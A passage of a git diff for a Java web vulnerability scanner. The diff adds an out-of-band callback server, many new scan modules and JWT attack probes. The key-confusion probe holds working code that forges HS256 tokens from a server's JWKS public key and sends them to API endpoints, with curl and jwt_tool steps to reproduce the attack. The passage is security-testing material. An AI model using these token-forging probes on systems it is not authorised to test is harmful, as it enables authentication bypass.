testedClean); case "bugcrowd" -> exportBugcrowd(findings, targetUrl, testedModules, testedClean); - default -> - throw new IllegalArgumentException("Unknown platform: " + platform + ". Use 'h1' or 'bugcrowd'."); + case "sarif" -> exportSarif(findings, targetUrl, testedModules, testedClean); + default -> throw new IllegalArgumentException( + "Unknown platform: " + platform + ". Use 'h1', 'bugcrowd', or 'sarif'."); }; } diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanConfig.java b/src/main/java/gg/effront/anarcry/scanner/ScanConfig.java index 3580025..9d93391 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanConfig.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanConfig.java @@ -1,12 +1,14 @@ package gg.effront.anarcry.scanner; import gg.effront.anarcry.model.Suppression; +import gg.effront.anarcry.scanner.oast.OastConfig; import java.util.List; import java.util.Set; public record ScanConfig(int delayMs, String sessionCookie, String sessionCookie2, Set inScopeHosts, - List suppressions, String redirectRelayUrl, int probeConcurrency, boolean exploitationEnabled) { + List suppressions, String redirectRelayUrl, int probeConcurrency, boolean exploitationEnabled, + OastConfig oastConfig) { public static final int DEFAULT_PROBE_CONCURRENCY = 12; @@ -32,22 +34,37 @@ public record ScanConfig(int delayMs, String sessionCookie, String sessionCookie if (probeConcurrency <= 0) { probeConcurrency = DEFAULT_PROBE_CONCURRENCY; } + if (oastConfig == null) { + oastConfig = OastConfig.disabled(); + } + } + + public ScanConfig(int delayMs, String sessionCookie, String sessionCookie2, Set inScopeHosts, + List suppressions, String redirectRelayUrl, int probeConcurrency, + boolean exploitationEnabled) { + this(delayMs, sessionCookie, sessionCookie2, inScopeHosts, suppressions, redirectRelayUrl, probeConcurrency, + exploitationEnabled, OastConfig.disabled()); } public ScanConfig(int delayMs, String sessionCookie, String sessionCookie2, Set inScopeHosts, List suppressions, String redirectRelayUrl, int probeConcurrency) { this(delayMs, sessionCookie, sessionCookie2, inScopeHosts, suppressions, redirectRelayUrl, probeConcurrency, - false); + false, OastConfig.disabled()); } public ScanConfig(int delayMs, String sessionCookie, Set inScopeHosts, List suppressions, String redirectRelayUrl) { - this(delayMs, sessionCookie, "", inScopeHosts, suppressions, redirectRelayUrl, DEFAULT_PROBE_CONCURRENCY, - false); + this(delayMs, sessionCookie, "", inScopeHosts, suppressions, redirectRelayUrl, DEFAULT_PROBE_CONCURRENCY, false, + OastConfig.disabled()); } public static ScanConfig defaults() { - return new ScanConfig(0, "", "", Set.of(), List.of(), "", DEFAULT_PROBE_CONCURRENCY, false); + return new ScanConfig(0, "", "", Set.of(), List.of(), "", DEFAULT_PROBE_CONCURRENCY, false, + OastConfig.disabled()); + } + + public boolean oastEnabled() { + return oastConfig != null && oastConfig.enabled(); } public boolean isInScope(String host) { diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanContext.java b/src/main/java/gg/effront/anarcry/scanner/ScanContext.java index 5a81611..0c46bbb 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanContext.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanContext.java @@ -2,6 +2,7 @@ import gg.effront.anarcry.model.RequestRecord; import gg.effront.anarcry.scanner.auth.CredentialStore; +import gg.effront.anarcry.scanner.oast.OastCorrelator; import gg.effront.anarcry.scanner.util.WafState; import java.net.URI; @@ -10,38 +11,46 @@ public record ScanContext(String targetUrl, String jwtToken, String jwtToken2, Set enabledModules, ScanConfig config, Consumer requestLog, DiscoveredPaths discoveredPaths, WafState wafState, - CredentialStore credentialStore) { + CredentialStore credentialStore, OastCorrelator oastCorrelator) { public ScanContext(String targetUrl, String jwtToken, Set enabledModules) { this(targetUrl, jwtToken, "", enabledModules, ScanConfig.defaults(), r -> { - }, new DiscoveredPaths(), new WafState(), null); + }, new DiscoveredPaths(), new WafState(), null, null); } public ScanContext(String targetUrl, String jwtToken, String jwtToken2, Set enabledModules) { this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), r -> { - }, new DiscoveredPaths(), new WafState(), null); + }, new DiscoveredPaths(), new WafState(), null, null); } public ScanContext(String targetUrl, String jwtToken, Set enabledModules, String jwtToken2) { this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), r -> { - }, new DiscoveredPaths(), new WafState(), null); + }, new DiscoveredPaths(), new WafState(), null, null); } public ScanContext(String targetUrl, String jwtToken, Set enabledModules, String jwtToken2, Consumer requestLog) { this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), requestLog, new DiscoveredPaths(), - new WafState(), null); + new WafState(), null, null); } public ScanContext(String targetUrl, String jwtToken, Set enabledModules, String jwtToken2, ScanConfig config, Consumer requestLog) { this(targetUrl, jwtToken, jwtToken2, enabledModules, config, requestLog, new DiscoveredPaths(), new WafState(), - null); + null, null); } public ScanContext(String targetUrl, String jwtToken, String jwtToken2, Set enabledModules, ScanConfig config, Consumer requestLog, DiscoveredPaths discoveredPaths, WafState wafState) { - this(targetUrl, jwtToken, jwtToken2, enabledModules, config, requestLog, discoveredPaths, wafState, null); + this(targetUrl, jwtToken, jwtToken2, enabledModules, config, requestLog, discoveredPaths, wafState, null, null); + } + + /** Backward-compatible constructor without OAST correlator. */ + public ScanContext(String targetUrl, String jwtToken, String jwtToken2, Set enabledModules, + ScanConfig config, Consumer requestLog, DiscoveredPaths discoveredPaths, WafState wafState, + CredentialStore credentialStore) { + this(targetUrl, jwtToken, jwtToken2, enabledModules, config, requestLog, discoveredPaths, wafState, + credentialStore, null); } public String activeToken() { diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java b/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java index 9b08d86..f753adb 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java @@ -12,7 +12,9 @@ public final class ScanOrchestrator { public static final Set ALL_MODULES = Set.of("TLS", "Headers", "HSTS", "JWT", "PQC", "CORS", "OAuth", "OpenRedirect", "SSRF", "GraphQL", "CRLF", "XXE", "SSTI", "IDOR", "HostHeader", "Actuator", "MassAssign", - "CachePoisoning", "ReqSmuggling", "Crawler", "Infra"); + "CachePoisoning", "ReqSmuggling", "Crawler", "Infra", "SQLi", "XSS", "LFI", "CmdInjection", "CSRF", + "Secrets", "RaceCondition", "Deserialization", "FileUpload", "NoSQLi", "SubTakeover", "WebSocket", + "ProtoPollution", "CloudMisconfig"); private ScanOrchestrator() { } @@ -43,6 +45,8 @@ public static Set defaultModules() { Set modules = new LinkedHashSet<>(ALL_MODULES); modules.remove("IDOR"); modules.remove("Infra"); + modules.remove("RaceCondition"); + modules.remove("FileUpload"); return modules; } } diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java b/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java index 217c481..b581066 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java @@ -6,6 +6,9 @@ import gg.effront.anarcry.model.Finding; import gg.effront.anarcry.model.RequestRecord; import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.oast.OastConfig; +import gg.effront.anarcry.scanner.oast.OastCorrelator; +import gg.effront.anarcry.scanner.oast.OastServer; import gg.effront.anarcry.scanner.util.BrowserTransport; import gg.effront.anarcry.scanner.util.ChallengeSolver; import gg.effront.anarcry.scanner.util.CircuitBreakerException; @@ -34,9 +37,19 @@ import gg.effront.anarcry.scanner.web.smuggling.RequestSmugglingModule; import gg.effront.anarcry.scanner.web.cmdinject.CommandInjectionModule; import gg.effront.anarcry.scanner.web.crawler.CrawlerModule; +import gg.effront.anarcry.scanner.web.csrf.CsrfModule; +import gg.effront.anarcry.scanner.web.deser.DeserializationModule; import gg.effront.anarcry.scanner.web.infra.InfraModule; import gg.effront.anarcry.scanner.web.lfi.LfiModule; +import gg.effront.anarcry.scanner.web.nosqli.NoSqlInjectionModule; +import gg.effront.anarcry.scanner.web.protopollution.PrototypePollutionModule; +import gg.effront.anarcry.scanner.web.race.RaceConditionModule; +import gg.effront.anarcry.scanner.web.secrets.SecretsModule; +import gg.effront.anarcry.scanner.web.cloud.CloudMisconfigModule; import gg.effront.anarcry.scanner.web.sqli.SqlInjectionModule; +import gg.effront.anarcry.scanner.web.subtakeover.SubdomainTakeoverModule; +import gg.effront.anarcry.scanner.web.upload.FileUploadModule; +import gg.effront.anarcry.scanner.web.websocket.WebSocketModule; import gg.effront.anarcry.scanner.web.xss.XssModule; import java.util.ArrayList; @@ -235,12 +248,42 @@ private void runScan(ScanContext origCtx) { if (ctx.has("CmdInjection")) { modules.add(new CommandInjectionModule()); } + if (ctx.has("CSRF")) { + modules.add(new CsrfModule()); + } if (ctx.has("Crawler")) { modules.add(new CrawlerModule()); } + if (ctx.has("RaceCondition")) { + modules.add(new RaceConditionModule()); + } if (ctx.has("Infra")) { modules.add(new InfraModule()); } + if (ctx.has("Secrets")) { + modules.add(new SecretsModule()); + } + if (ctx.has("NoSQLi")) { + modules.add(new NoSqlInjectionModule()); + } + if (ctx.has("Deserialization")) { + modules.add(new DeserializationModule()); + } + if (ctx.has("FileUpload")) { + modules.add(new FileUploadModule()); + } + if (ctx.has("SubTakeover")) { + modules.add(new SubdomainTakeoverModule()); + } + if (ctx.has("WebSocket")) { + modules.add(new WebSocketModule()); + } + if (ctx.has("ProtoPollution")) { + modules.add(new PrototypePollutionModule()); + } + if (ctx.has("CloudMisconfig")) { + modules.add(new CloudMisconfigModule()); + } modules.addAll(customModules); List enrichers = new ArrayList<>(); @@ -512,69 +555,160 @@ private void runScan(ScanContext origCtx) { List> futures = new ArrayList<>(); ConcurrentHashMap moduleThreads = new ConcurrentHashMap<>(); - if (!scanners.isEmpty()) { - safeLog.accept("[*] Phase 2: " + scanners.size() + " scanner modules (parallel)"); - - for (int i = 0; i < scanners.size(); i++) { - final Scanner module = scanners.get(i); - final int moduleIndex = enricherCount + i + 1; - eventCb.accept(new ScanEvent(ScanEvent.Type.MODULE_START, module.id(), moduleIndex, moduleCount)); - safeLog.accept("[*] Modulo " + module.id() + " iniciado"); - - CompletableFuture> future = CompletableFuture.supplyAsync(() -> { - moduleThreads.put(module.id(), Thread.currentThread()); - try { - return module.scan(ctx, safeLog); - } catch (Throwable e) { - throw new RuntimeException(e); - } finally { - moduleThreads.remove(module.id()); - } - }, modulePool).orTimeout(MODULE_TIMEOUT_SECONDS, TimeUnit.SECONDS); - - futures.add(future.handle((findings, ex) -> { - if (ex != null) { - Throwable cause = ex.getCause() != null ? ex.getCause() : ex; - if (cause instanceof TimeoutException) { - safeLog.accept("[!] " + module.id() + " timeout apos " + MODULE_TIMEOUT_SECONDS - + "s -- abortando modulo"); - Thread t = moduleThreads.remove(module.id()); - if (t != null) { - t.interrupt(); + // OAST: start callback server before Phase 2 if enabled + OastCorrelator oastCorrelator = null; + OastServer oastServer = null; + ScanContext phase2Ctx = ctx; + if (ctx.config().oastEnabled()) { + try { + oastCorrelator = new OastCorrelator(); + OastConfig oastCfg = ctx.config().oastConfig(); + oastServer = new OastServer(oastCorrelator, oastCfg.externalUrl(), safeLog); + // Rebuild ScanContext with the OAST correlator so modules can register payloads + phase2Ctx = new ScanContext(ctx.targetUrl(), ctx.jwtToken(), ctx.jwtToken2(), ctx.enabledModules(), + ctx.config(), ctx.requestLog(), ctx.discoveredPaths(), ctx.wafState(), ctx.credentialStore(), + oastCorrelator); + safeLog.accept("[+] OAST: callback base URL -- " + oastServer.callbackBaseUrl()); + } catch (Exception e) { + safeLog.accept("[!] OAST: falha ao iniciar callback server -- " + e.getMessage()); + oastCorrelator = null; + oastServer = null; + } + } + final ScanContext scanCtx = phase2Ctx; + final OastServer oastServerRef = oastServer; + final OastCorrelator oastCorrelatorRef = oastCorrelator; + + try { + if (!scanners.isEmpty()) { + safeLog.accept("[*] Phase 2: " + scanners.size() + " scanner modules (parallel)"); + + for (int i = 0; i < scanners.size(); i++) { + final Scanner module = scanners.get(i); + final int moduleIndex = enricherCount + i + 1; + eventCb.accept(new ScanEvent(ScanEvent.Type.MODULE_START, module.id(), moduleIndex, moduleCount)); + safeLog.accept("[*] Modulo " + module.id() + " iniciado"); + + CompletableFuture> future = CompletableFuture.supplyAsync(() -> { + moduleThreads.put(module.id(), Thread.currentThread()); + try { + return module.scan(scanCtx, safeLog); + } catch (Throwable e) { + throw new RuntimeException(e); + } finally { + moduleThreads.remove(module.id()); + } + }, modulePool).orTimeout(MODULE_TIMEOUT_SECONDS, TimeUnit.SECONDS); + + futures.add(future.handle((findings, ex) -> { + if (ex != null) { + Throwable cause = ex.getCause() != null ? ex.getCause() : ex; + if (cause instanceof TimeoutException) { + safeLog.accept("[!] " + module.id() + " timeout apos " + MODULE_TIMEOUT_SECONDS + + "s -- abortando modulo"); + Thread t = moduleThreads.remove(module.id()); + if (t != null) { + t.interrupt(); + } + } else if (cause instanceof CircuitBreakerException) { + safeLog.accept("[!] " + cause.getMessage()); + } else { + safeLog.accept("[!] " + module.id() + " erro: " + ex.getMessage()); } - } else if (cause instanceof CircuitBreakerException) { - safeLog.accept("[!] " + cause.getMessage()); } else { - safeLog.accept("[!] " + module.id() + " erro: " + ex.getMessage()); - } - } else { - recordModuleResult(module.id(), findings); - for (Finding f : findings) { - String dedupKey = f.module() + "|" + f.endpoint() + "|" + f.title(); - if (seenFindings.add(dedupKey)) { - if (ctx.config().isSuppressed(f.module(), f.title(), ctx.host())) { - safeLog.accept("[~] suppressed: " + f.module() + " -- " + f.title()); - } else { - findingCb.accept(f); - accumulatedFindings.add(f); - synchronized (total) { - total[0]++; + recordModuleResult(module.id(), findings); + for (Finding f : findings) { + String dedupKey = f.module() + "|" + f.endpoint() + "|" + f.title(); + if (seenFindings.add(dedupKey)) { + if (scanCtx.config().isSuppressed(f.module(), f.title(), scanCtx.host())) { + safeLog.accept("[~] suppressed: " + f.module() + " -- " + f.title()); + } else { + findingCb.accept(f); + accumulatedFindings.add(f); + synchronized (total) { + total[0]++; + } } + } else { + safeLog.accept( + "[~] dedup: ignorado finding duplicado -- " + f.module() + " " + f.title()); } - } else { - safeLog.accept( - "[~] dedup: ignorado finding duplicado -- " + f.module() + " " + f.title()); + } + safeLog.accept("[+] " + module.id() + ": " + findings.size() + " finding(s)"); + } + eventCb.accept( + new ScanEvent(ScanEvent.Type.MODULE_DONE, module.id(), moduleIndex, moduleCount)); + return (Void) null; + })); + } + } + + CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join(); + + // Phase 2.5: OAST callback wait and correlation + if (oastCorrelatorRef != null && oastCorrelatorRef.pendingCount() > 0) { + int waitSec = scanCtx.config().oastConfig().callbackWaitSeconds(); + safeLog.accept("[*] Phase 2.5: OAST -- aguardando " + waitSec + "s por callbacks OOB (" + + oastCorrelatorRef.pendingCount() + " payloads pendentes)..."); + try { + Thread.sleep(waitSec * 1000L); + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + safeLog.accept("[!] OAST: espera interrompida"); + } + safeLog.accept("[~] OAST: " + oastCorrelatorRef.callbackCount() + " callback(s) recebido(s)"); + + List hits = oastCorrelatorRef.correlate(); + if (!hits.isEmpty()) { + safeLog.accept("[!!] OAST: " + hits.size() + " hit(s) correlacionado(s)"); + for (OastCorrelator.CorrelatedHit hit : hits) { + String dedupKey = hit.payload().moduleId() + "|" + hit.payload().targetEndpoint() + + "|OOB Callback Confirmed (" + hit.payload().moduleId() + ")"; + if (seenFindings.add(dedupKey)) { + Finding f = Finding.of(hit.payload().moduleId(), hit.payload().targetEndpoint(), + "OOB Callback Confirmed (" + + hit.payload().moduleId() + ") via " + hit.callback().protocol(), + Severity.HIGH, + "Payload ID: " + hit.payload().payloadId() + " | Parameter: " + + hit.payload().parameterName() + " | Full payload: " + + hit.payload().fullPayload() + " | Callback from: " + + hit.callback().sourceIp() + " via " + hit.callback().protocol() + + " | Request: " + hit.callback().requestData(), + "O servidor alvo fez uma requisicao out-of-band para o callback server " + + "do scanner, confirmando que o payload injetado no parametro '" + + hit.payload().parameterName() + "' foi processado pelo servidor. " + + "Isto confirma a vulnerabilidade de forma definitiva.", + "Injetar o payload '" + hit.payload().fullPayload() + "' no parametro '" + + hit.payload().parameterName() + "' do endpoint '" + + hit.payload().targetEndpoint() + "' e monitorar callbacks HTTP.", + "Validar e sanitizar todos os inputs que podem resultar em requisicoes " + + "server-side. Bloquear conexoes de saida do servidor para destinos " + + "nao-autorizados. Implementar allowlist de hosts/IPs permitidos."); + if (!scanCtx.config().isSuppressed(f.module(), f.title(), scanCtx.host())) { + findingCb.accept(f); + accumulatedFindings.add(f); + total[0]++; } } - safeLog.accept("[+] " + module.id() + ": " + findings.size() + " finding(s)"); } - eventCb.accept(new ScanEvent(ScanEvent.Type.MODULE_DONE, module.id(), moduleIndex, moduleCount)); - return (Void) null; - })); + } else { + safeLog.accept("[+] OAST: nenhum callback correlacionado"); + } + } else if (oastCorrelatorRef != null) { + safeLog.accept("[~] OAST: nenhum payload OOB registrado pelos modulos -- pulando espera"); } - } - CompletableFuture.allOf(futures.toArray(new CompletableFuture[0])).join(); + } finally { + // Cleanup: stop OAST server + if (oastServerRef != null) { + try { + oastServerRef.close(); + safeLog.accept("[+] OAST: callback server encerrado"); + } catch (Exception e) { + safeLog.accept("[!] OAST: erro ao encerrar callback server -- " + e.getMessage()); + } + } + } // Phase 3: Exploitation (post-scan validation) if (ctx.config().exploitationEnabled() && !accumulatedFindings.isEmpty()) { diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/JwtModule.java b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/JwtModule.java index de6af15..bc0f24e 100644 --- a/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/JwtModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/JwtModule.java @@ -259,6 +259,19 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio new JwkInjectionProbe().probe(parts, ctx, base, hc, log).ifPresent(findings::add); } + // Probe F: x5c self-signed certificate injection (RS256) + if (alg.equalsIgnoreCase("RS256")) { + new X5cChainProbe().probe(parts, ctx, base, hc, log).ifPresent(findings::add); + } + + // Probe G: x5u remote certificate fetch + new X5uCertProbe().probe(parts, ctx, base, hc, log).ifPresent(findings::add); + + // Probe H: key confusion via JWKS public key (RS256) + if (alg.equalsIgnoreCase("RS256")) { + new KeyConfusionProbe().probe(parts, ctx, base, hc, log).ifPresent(findings::add); + } + } catch (Exception ex) { log.accept("[~] JWT: probes ativas indisponíveis: " + ex.getMessage()); } diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/KeyConfusionProbe.java b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/KeyConfusionProbe.java new file mode 100644 index 0000000..80560c7 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/KeyConfusionProbe.java @@ -0,0 +1,235 @@ +package gg.effront.anarcry.scanner.crypto.jwt; + +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.util.Http; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.math.BigInteger; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.security.KeyFactory; +import java.security.interfaces.RSAPublicKey; +import java.security.spec.RSAPublicKeySpec; +import java.time.Duration; +import java.util.Base64; +import java.util.List; +import java.util.Optional; +import java.util.function.Consumer; + +/** + * Key confusion attack via JWKS endpoint: fetches the server's RSA public key + * from a well-known JWKS URL, then uses it as the HMAC-SHA256 secret to forge + * an HS256 token. If the server does not pin the expected algorithm, it will + * verify HS256 using the RSA public key bytes -- accepting the forged token. + * + *

+ * This complements {@link Rs256Hs256Probe} which extracts the public key from + * the TLS certificate. This probe uses the JWKS endpoint, which is the standard + * key distribution mechanism for OAuth2/OIDC servers and often exposes the + * exact key used for JWT verification. + */ +public class KeyConfusionProbe { + + private static final List AUTH_PATHS = List.of("/api/me", "/api/user", "/api/profile"); + + private static final List JWKS_PATHS = List.of("/.well-known/jwks.json", "/oauth/jwks", + "/.well-known/openid-configuration", "/api/jwks", "/.well-known/keys", "/jwks.json", "/certs", + "/oauth2/v1/certs"); + + public Optional probe(String[] parts, ScanContext ctx, String base, HttpClient hc, Consumer log) { + log.accept("[~] JWT: probe key confusion via JWKS public key (CVE-2016-5431)"); + try { + // Discover JWKS endpoint and extract RSA public key + RSAPublicKey pubKey = discoverPublicKey(ctx, base, hc, log); + if (pubKey == null) { + log.accept("[~] JWT: key confusion -- nenhuma chave publica RSA" + " encontrada via JWKS"); + return Optional.empty(); + } + + // Convert to PEM and DER formats -- different libraries use different + // representations as the HMAC secret + byte[] derKey = pubKey.getEncoded(); + String b64Key = Base64.getMimeEncoder(64, new byte[]{'\n'}).encodeToString(derKey); + String pemKey = "-----BEGIN PUBLIC KEY-----\n" + b64Key + "\n-----END PUBLIC KEY-----\n"; + + byte[][] keyFormats = new byte[][]{pemKey.getBytes(StandardCharsets.UTF_8), // PEM with headers + derKey, // Raw DER (SubjectPublicKeyInfo) + }; + String[] formatNames = new String[]{"PEM", "DER"}; + + String forgedHeader = Base64.getUrlEncoder().withoutPadding() + .encodeToString("{\"alg\":\"HS256\",\"typ\":\"JWT\"}".getBytes(StandardCharsets.UTF_8)); + + for (int i = 0; i < keyFormats.length; i++) { + byte[] keyBytes = keyFormats[i]; + String formatName = formatNames[i]; + String sigInput = forgedHeader + "." + parts[1]; + + Mac mac = Mac.getInstance("HmacSHA256"); + mac.init(new SecretKeySpec(keyBytes, "HmacSHA256")); + String forgedToken = sigInput + "." + Base64.getUrlEncoder().withoutPadding() + .encodeToString(mac.doFinal(sigInput.getBytes(StandardCharsets.UTF_8))); + + log.accept("[~] JWT: key confusion (" + formatName + ") token forjado," + " enviando probes"); + for (String path : AUTH_PATHS) { + try { + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(base + path)) + .header("Authorization", "Bearer " + forgedToken).timeout(Duration.ofSeconds(5)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), + "JWT"); + log.accept("[~] JWT: key confusion (" + formatName + ") " + path + " -> HTTP " + + resp.statusCode()); + if (resp.statusCode() == 200) { + String cweId = CweRegistry.cweId("JWT"); + String cweTitle = CweRegistry.cweTitle("JWT"); + String cvssVector = CweRegistry.cvssVector("JWT"); + double score = CvssCalculator.calculate(cvssVector); + return Optional.of(Finding.of("JWT", base + path, + "Key confusion via JWKS public key (CVE-2016-5431)", Severity.CRITICAL, + "Probe em " + base + path + " -> HTTP 200 com HS256 assinado usando chave" + + " publica " + formatName + " do JWKS", + "Servidor aceita HS256 com a chave publica RSA do JWKS" + + " como segredo HMAC -- qualquer um com acesso" + + " ao JWKS pode forjar tokens", + "# 1. Obter chave publica do JWKS:\n" + "curl -s " + base + + "/.well-known/jwks.json | jq '.keys[0]'\n" + + "# 2. Converter JWK para PEM:\n" + + "python3 -c \"from jwcrypto import jwk;" + + " import json; k=jwk.JWK(**json.load(open" + + "('jwk.json'))); print(k.export_to_pem())\"\n" + + "# 3. Assinar HS256 com a chave publica:\n" + + "python3 jwt_tool.py -X k" + " -pk jwks_pub.pem", + "Validar explicitamente o algoritmo esperado no servidor;" + + " rejeitar tokens com alg diferente do" + + " configurado; nunca usar a mesma chave para" + " RSA e HMAC", + cweId, cweTitle, cvssVector, score)); + } + } catch (Exception ex) { + log.accept("[~] JWT: key confusion (" + formatName + ") " + path + " -- " + ex.getMessage()); + } + } + } + } catch (Exception e) { + log.accept("[~] JWT: key confusion -- " + e.getMessage()); + } + return Optional.empty(); + } + + /** + * Tries well-known JWKS endpoints to discover an RSA public key. Also follows + * the {@code jwks_uri} from OpenID Connect discovery if present. + */ + private RSAPublicKey discoverPublicKey(ScanContext ctx, String base, HttpClient hc, Consumer log) { + for (String jwksPath : JWKS_PATHS) { + try { + String url = base + jwksPath; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(5)).GET() + .build(); + HttpResponse resp = Http.send(ctx, hc, req, HttpResponse.BodyHandlers.ofString(), "JWT"); + + if (resp.statusCode() != 200 || resp.body() == null) { + continue; + } + + String body = resp.body().trim(); + + // Handle OpenID Connect discovery -- follow jwks_uri + if (jwksPath.contains("openid-configuration")) { + body = followJwksUri(body, ctx, hc, log); + if (body == null) { + continue; + } + } + + // Parse JWKS and extract first RSA key + RSAPublicKey key = extractRsaKeyFromJwks(body, log); + if (key != null) { + log.accept("[~] JWT: key confusion -- chave publica RSA extraida de " + url); + return key; + } + } catch (Exception e) { + // Endpoint not available -- try next + } + } + return null; + } + + /** + * Parses an OpenID Connect discovery document and fetches the JWKS from the + * {@code jwks_uri} field. + */ + private String followJwksUri(String discoveryBody, ScanContext ctx, HttpClient hc, Consumer log) { + try { + JsonObject config = JsonParser.parseString(discoveryBody).getAsJsonObject(); + if (!config.has("jwks_uri")) { + return null; + } + String jwksUri = config.get("jwks_uri").getAsString(); + log.accept("[~] JWT: key confusion -- seguindo jwks_uri: " + jwksUri); + HttpRequest jwksReq = HttpRequest.newBuilder().uri(URI.create(jwksUri)).timeout(Duration.ofSeconds(5)).GET() + .build(); + HttpResponse jwksResp = Http.send(ctx, hc, jwksReq, HttpResponse.BodyHandlers.ofString(), "JWT"); + if (jwksResp.statusCode() == 200 && jwksResp.body() != null) { + return jwksResp.body().trim(); + } + } catch (Exception e) { + log.accept("[~] JWT: key confusion -- erro ao seguir jwks_uri: " + e.getMessage()); + } + return null; + } + + /** + * Extracts the first RSA public key from a JWKS JSON document. Returns null if + * no RSA key is found or the JSON is malformed. + */ + private RSAPublicKey extractRsaKeyFromJwks(String json, Consumer log) { + try { + JsonObject root = JsonParser.parseString(json).getAsJsonObject(); + if (!root.has("keys")) { + return null; + } + JsonArray keys = root.getAsJsonArray("keys"); + for (JsonElement elem : keys) { + JsonObject jwk = elem.getAsJsonObject(); + String kty = jwk.has("kty") ? jwk.get("kty").getAsString() : ""; + if (!"RSA".equals(kty)) { + continue; + } + if (!jwk.has("n") || !jwk.has("e")) { + continue; + } + String n = jwk.get("n").getAsString(); + String e = jwk.get("e").getAsString(); + byte[] nBytes = Base64.getUrlDecoder().decode(padB64(n)); + byte[] eBytes = Base64.getUrlDecoder().decode(padB64(e)); + + BigInteger modulus = new BigInteger(1, nBytes); + BigInteger exponent = new BigInteger(1, eBytes); + + KeyFactory kf = KeyFactory.getInstance("RSA"); + return (RSAPublicKey) kf.generatePublic(new RSAPublicKeySpec(modulus, exponent)); + } + } catch (Exception e) { + log.accept("[~] JWT: key confusion -- erro ao parsear JWKS: " + e.getMessage()); + } + return null; + } + + private static String padB64(String s) { + int mod = s.length() % 4; + return mod == 0 ? s : s + "=".repeat(4 - mod); + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5cChainProbe.java b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5cChainProbe.java new file mode 100644 index 0000000..b35ccb0 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/jwt/X5cChainProbe.java @@ -0,0 +1,143 @@ +package gg.effront.anarcry.scanner.crypto.jwt; + +import gg.effront.anarcry.model.CvssCalculator; +import gg.effront.anarcry.model.CweRegistry; +import gg.effront.anarcry.model.Finding; +import gg.effront.anarcry.model.Severity; +import gg.effront.anarcry.scanner.ScanContext; +import gg.effront.anarcry.scanner.util.Http; + +import org.bouncycastle.asn1.ASN1EncodableVector; +import org.bouncycastle.asn1.ASN1Integer; +import org.bouncycastle.asn1.DERBitString; +import org.bouncycastle.asn1.DERNull; +import org.bouncycastle.asn1.DERSequence; +import org.bouncycastle.asn1.pkcs.PKCSObjectIdentifiers; +import org.bouncycastle.asn1.x500.X500Name; +import org.bouncycastle.asn1.x509.AlgorithmIdentifier; +import org.bouncycastle.asn1.x509.SubjectPublicKeyInfo; +import org.bouncycastle.asn1.x509.Time; +import org.bouncycastle.asn1.x509.V3TBSCertificateGenerator; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.time.Duration; +import java.util.Base64; +import java.util.Date; +import java.util.List; +import java.util.Optional; +import java.util.function.Consumer; + +/** + * Probes x5c header injection: embeds a self-signed certificate in the JWT + * header and signs the token with the corresponding private key. If the server + * trusts the attacker-provided x5c chain instead of a pinned CA or key, the + * token is accepted -- complete auth bypass. + */ +public class X5cChainProbe { + + private static final List AUTH_PATHS = List.of("/api/me", "/api/user", "/api/profile"); + + public Optional probe(String[] parts, ScanContext ctx, String base, HttpClient hc, Consumer log) { + log.accept("[~] JWT: probe x5c self-signed certificate injection"); + try { + // Generate RSA 2048-bit key pair + KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA"); + kpg.initialize(2048); + KeyPair kp = kpg.generateKeyPair(); + + // Build self-signed X.509 certificate using BouncyCastle ASN.1 primitives + byte[] certDer = buildSelfSignedCert(kp); + String certB64 = Base64.getEncoder().encodeToString(certDer); + + // Build JWT header with x5c array containing the self-signed cert + String headerJson = "{\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5c\":[\"" + certB64 + "\"]}"; + String forgedHeader = Base64.getUrlEncoder().withoutPadding() + 